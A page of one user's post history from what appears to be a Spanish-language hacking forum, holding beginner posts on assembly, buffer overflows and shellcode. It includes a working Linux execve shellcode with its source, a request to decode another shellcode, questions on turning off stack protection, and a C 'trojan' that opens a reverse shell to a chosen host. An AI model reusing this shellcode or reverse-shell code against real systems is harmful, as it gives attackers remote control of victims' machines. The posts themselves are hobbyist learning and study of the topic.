|
Mostrar Temas
|
Páginas: 1 2 [3] 4 5 6
|
21
|
Seguridad Informática / Bugs y Exploits / ¡ MI PRIMERA SHELLCODE ! Linux i386 : 25 bytes
|
en: 4 Enero 2011, 12:59 pm
|
Bueno, acabo de conseguir que mi pezqueñina empiece a funcionar... Como Rojodos, yo comparto mi alegria jaja #include <stdio.h> #include <string.h> char code[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; int main(int argc, char **argv) { printf ("TinShell V1.0 : By Sagrini : %d bytes\n", strlen (code )); (*(void(*)()) code)(); return 0; }
BITS 32 ; excve () xor eax, eax ; Ponemos EAX a cero para bytes nulos push eax ; Metemos los ceros en la pila push 0x68732f2f ; Metemos "//sh". La segunda barra no importa. Además alinea. push 0x6e69622f ; Metemos "/bin". Alineados en la pila mov ebx, esp ; Metemos la direccion en EBX push eax ; Mas bytes nulos ... mov edx, esp ; ... para el entorno de 3º argumento push ebx ; Metemos la direccion de la cadena en la pila mov ecx, esp ; Y se la pasamos como direccion mov al, 11 ; excve = syscall 11 int 0x80 ; Ejecutamos
00000000 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50 |1.Ph//shh/bin..P| 00000010 89 e2 53 89 e1 b0 0b cd 80 |..S......| 00000019
Quiero agradecerle a todos que me hayan ayudado a crearla, con pequeñas ayudas, tanto en el foro de ASM, como en el de C. Especialmente se lo agradezco a Eternal Idol, que fue el que estuvo echandome una mano en mi primer programa, y en mi primera shellcode, y el que me ayudo en mis comienzos tanto en C como en ASM Cito tambien el libro "Hacking. Técnicas fundamentales" y a su autor, Jon Erikson, sin los que no habria podido empezar, y recomiendo la lectura del libro [Me han mandado PMs para saber donde comprarlo. Lo siento, lo tengo de la biblioteca, pero lo podeis comprar jaja] Os doy las gracias a todos los staffs por el gran trabajo que haceis, y a la comunidad en total, por echarme una manita tambien. Disfrutad de la shellcode y muchas gracias !
|
|
|
22
|
Programación / ASM / .:. Shellcode 2 ASM .:.
|
en: 2 Enero 2011, 22:47 pm
|
Bueno, perdonadadme el titulo, un poco estafalario xD... Bueno, mi duda es... Tengo una shellcode, y me gustaria saber las intstrucciones en ensamblador que tiene... Como hago eso? Para el que lo quiera saber, mi shellcode es: \xeb\x12\x31\xc9\x5e\x56\x5f\xb1\x15\x8a\x06\xfe\xc8\x88\x06\x46\xe2" "\xf7\xff\xe7\xe8\xe9\xff\xff\xff\x32\xc1\x32\xca\x52\x69\x30\x74\x69" "\x01\x69\x30\x63\x6a\x6f\x8a\xe4\xb1\x0c\xce\x81
Bueno, es para analizarla.. Ocupa bastante pocos bytes, va a ser interesante xD... Bueno, es pasar eso a ensamblador... como?
|
|
|
24
|
Programación / ASM / Escribir 'A' en mi primer programa : ¿No funciona?
|
en: 31 Diciembre 2010, 17:41 pm
|
Bueno, tengo un code sencillo, sencillamente escribe una A en la terminal... Por algo se empieza La cosa es que no escribe nada... global _start section .code _start: mov eax, 0x4 ; write (1, "A", 1); mov ebx, 0x1 mov ecx, 0x42 mov edx, 0x2 int 80H mov eax, 1 // return 0; xor ebx, ebx int 80H
nano code.s nasm -f elf -o code.o code.s ld -m elf_i386 -o code code.o chmod 777 * ./code
Bueno, donde esta el fallo? Recuerden que es mi primer code xD... Alguna idea en algo tan simple? Pd: De paso, ahora mismito me voy a leer un libro de ASM, a ver si descubro algo
|
|
|
25
|
Sistemas Operativos / GNU/Linux / Mensaje ¿nucleo? fallo de segmentacion ::: Desactivando la protección
|
en: 31 Diciembre 2010, 17:08 pm
|
Modifico : Ubuntu 9.04 64 bits modo de compatibilidad ! Buenas, escribo esto por un problema que me ha surgido al intentar explotar una sencilla aplicación evidentemente vulnerable... El caso es que al saber cuantos nops le tengo que meter a la pila para que vaya, me ha dado un bonito error. Mi code (para no entenderlo xD): #include <stdio.h> #include <stdlib.h> #include <string.h> int main (int argc, char *argv []) { char buffer [8]; printf ("You said : %s", buffer ); return 0; }
El fallo: *** stack smashing detected ***: ./code terminated ======= Backtrace: ========= /lib/tls/i686/cmov/libc.so.6(__fortify_fail+0x48)[0xb77d4ef8] /lib/tls/i686/cmov/libc.so.6(__fortify_fail+0x0)[0xb77d4eb0] ./code[0x80484b6] [0x41414141] ======= Memory map: ======== 08048000-08049000 r-xp 00000000 08:06 5267571 /home/juanra/Escritorio/code 08049000-0804a000 r--p 00000000 08:06 5267571 /home/juanra/Escritorio/code 0804a000-0804b000 rw-p 00001000 08:06 5267571 /home/juanra/Escritorio/code 09d9d000-09dbe000 rw-p 09d9d000 00:00 0 [heap] b76d6000-b76d7000 rw-p b76d6000 00:00 0 b76d7000-b7833000 r-xp 00000000 08:06 353269 /lib/tls/i686/cmov/libc-2.9.so b7833000-b7834000 ---p 0015c000 08:06 353269 /lib/tls/i686/cmov/libc-2.9.so b7834000-b7836000 r--p 0015c000 08:06 353269 /lib/tls/i686/cmov/libc-2.9.so b7836000-b7837000 rw-p 0015e000 08:06 353269 /lib/tls/i686/cmov/libc-2.9.so b7837000-b783a000 rw-p b7837000 00:00 0 b783b000-b7848000 r-xp 00000000 08:06 335937 /lib/libgcc_s.so.1 b7848000-b7849000 r--p 0000c000 08:06 335937 /lib/libgcc_s.so.1 b7849000-b784a000 rw-p 0000d000 08:06 335937 /lib/libgcc_s.so.1 b784a000-b784d000 rw-p b784a000 00:00 0 b784d000-b784e000 r-xp b784d000 00:00 0 [vdso] b784e000-b786a000 r-xp 00000000 08:06 335886 /lib/ld-2.9.so b786a000-b786b000 r--p 0001b000 08:06 335886 /lib/ld-2.9.so b786b000-b786c000 rw-p 0001c000 08:06 335886 /lib/ld-2.9.so bfcbe000-bfcd3000 rw-p bffea000 00:00 0 [stack] You said : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACancelado Se que es una proteccion de la pila xD... pero no se como desactivarla para seguir... Alguien me puede ayudar a desactivar la proteccion de la pila? Muchas gracias xD!
|
|
|
26
|
Seguridad Informática / Bugs y Exploits / Meter 3 donde van 4 : ¿ Y el resto ?
|
en: 29 Diciembre 2010, 19:51 pm
|
Bueno, me he metido en este apasionante mundo, y me he puesto a probar algo... Tengo este code: #include <stdio.h> #include <string.h> #include <windows.h> int fff () { WinExec ("calc.exe", SW_MAX); } int main(int argc, char **argv) { if (argc != 2) return 1; char buff[12]; printf("\nHas escrito: %s\n",buff ); return 0; }
Es simple. Meto 24 nops y 4 numeros con la direccion de fff. A mi me da 0x4013c0. Como ven es una direccion de 3 "digitos". Bueno ¿ Qué hago con el cuarto ? #include <windows.h> #include <strcpy.h> int main () { char buff [28]; int i; for (i = 0; i <= 23; i++) buff [i] = '\90' /* Aqui van las declaraciones de buff [24 / 27] (menos 1 por el 0). La cosa es que tengo tres numeros donde van cuatro. */ char command [33]; WinExec (command); }
El exploit es sencillo, pero no se que hacer. Pido perdais 5 segundos de vuestro tiempo contestandome xD!!! Que hago? Como seria el exploit? Espero sus prontas respuestas. Y sí, he mirado en google y en el foro... Aparte, uso Windows Vista 64 bits...
|
|
|
29
|
Programación / Programación C/C++ / [C] Linux Trojan & dup2 ()
|
en: 18 Diciembre 2010, 15:55 pm
|
Terminado y corregido... El problema era que se me olvido cerrar los descriptores estandar... Corrigiendo code... Recuerdo que no esta terminado. Posteen mejoras, etc.. #include <time.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <arpa/inet.h> struct sockaddr_in host; int sockfd; int execsock (int socket, char program []) { close(0); close(1); close(2); dup2(socket, 0); dup2(socket, 1); dup2(socket, 2); execve(program, NULL, NULL); return 0; } int main (int argc, char *argv []) { struct tm *ahora; char hora [40]; strftime (hora , 40, "%d/%m/%Y %H:%M:%S" , ahora ); printf ("Linx 1.0 - By Sagrini (2010) - %s\n", hora ); if (argc == 3) { host.sin_addr.s_addr = inet_addr (argv [1]); host. sin_port = htons (atoi (argv [2])); host.sin_family = AF_INET; } else { host.sin_addr.s_addr = inet_addr ("127.0.0.1"); // A modificar! host.sin_port = htons (31337); host.sin_family = AF_INET; } sockfd = socket (2, 1, 0); if (sockfd != -1) { printf ("[OK]\nConectando...\t\a"); } else { return 1; } while (connect (sockfd, (struct sockaddr*)&host, sizeof (struct sockaddr)) == -1) sleep (1); printf ("[OK]\nLanzando sell...\t[OK]"); daemon (1, 0); execsock (sockfd, "/bin/bash"); close (sockfd); return 0; }
Ahora, el problema esta en que al compilar y correr, no me escribe correctamente lo que le digo: Atencion aqui: printf ("[OK]\nConectando...\t\a");
Linea sencilla no? Pues no me postea lo de "Conectando" hasta que alguien no se conecta, o sea, la sigiente liena...
|
|
|
30
|
Media / Juegos y Consolas / Juegas al Airsoft ? Que usas ?
|
en: 12 Diciembre 2010, 13:11 pm
|
Buenas, un tema de curiosidad. Quien juega al airsoft aqui? no lo digo por jugar con el xD, curiosidad... En caso de que jugueis, que replicas llevais?
A mi me gustaria jugar, llevaria una MP-5 Galaxy y una pistola auto pequeñita para cortas distancias ....
|
|
|
|
|
|
|